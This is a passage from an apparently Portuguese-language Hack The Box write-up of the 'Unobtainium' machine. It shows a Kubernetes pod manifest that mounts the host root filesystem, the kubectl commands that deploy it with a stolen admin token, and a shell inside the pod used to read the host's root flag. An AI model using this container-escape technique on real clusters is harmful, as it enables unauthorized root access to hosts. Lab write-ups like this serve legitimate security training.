kind: Pod
metadata:
  name: malicious-pod
spec:
  containers:
  - name: malicious-pod
    image: localhost:5000/node_server
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true
```

O arquivo acima irá criar um pod utilizando a mesma imagem da aplicação que ja esta rodando, pois o cluster não esta permitindo baixar imagens novas. Esse pod terá seu volume montado no diretório ***/*** e compartilhará a mesma network do host.

Para realizar o deploy na namespace ***dev*** basta executar o seguinte comando:

```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl apply -f pod-root.yaml -n dev --token `cat ./admin-token` -s https://10.129.136.226:8443 --certificate-authority ./admin-ca.crt
pod/malicious-pod created
```

```bash
Podemos visualizar o novo pod rodando:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get po -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
NAME                                  READY   STATUS             RESTARTS      AGE
devnode-deployment-776dbcf7d6-g4659   1/1     Running            6 (24d ago)   448d
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running            6 (24d ago)   448d
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running            6 (24d ago)   448d
malicious-pod                         1/1     Running            0             15m
```

Como temos permissões totais podemos acessar o novo pod via kubectl e visualizar todo seu conteúdo.

```bash
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl exec -it malicious-pod -n dev "bash" --token `cat ./admin-token` -s https://10.129.136.226:8443 --certificate-authority ./admin-ca.crt
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
root@unobtainium:/usr/src/app# pwd
/usr/src/app
```
E podemos confirmar que foi montado o volume corretamente, no qual temos acesso ao diretório e a root flag:

```bash
root@unobtainium:/usr/src/app# cd /root/
root@unobtainium:~# ls -a
.   bin   cdrom  etc   lib    lib64   lost+found  mnt  proc  run   snap  sys  usr
..  boot  dev	 home  lib32  libx32  media	  opt  root  sbin  srv	 tmp  var
root@unobtainium:~# cd root/
root@unobtainium:~/root# ls -a
.   .ansible	   .bashrc  .kube   .profile  .viminfo	snap
..  .bash_history  .cache   .local  .ssh      root.txt
root@unobtainium:~/root# cat root.txt
dfe0e12fe8789627e0d631fcc8985b25
```

Assim finalizando a máquina **Unobtainium**.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ydlv43lpn1gwj9dfdp5e.png)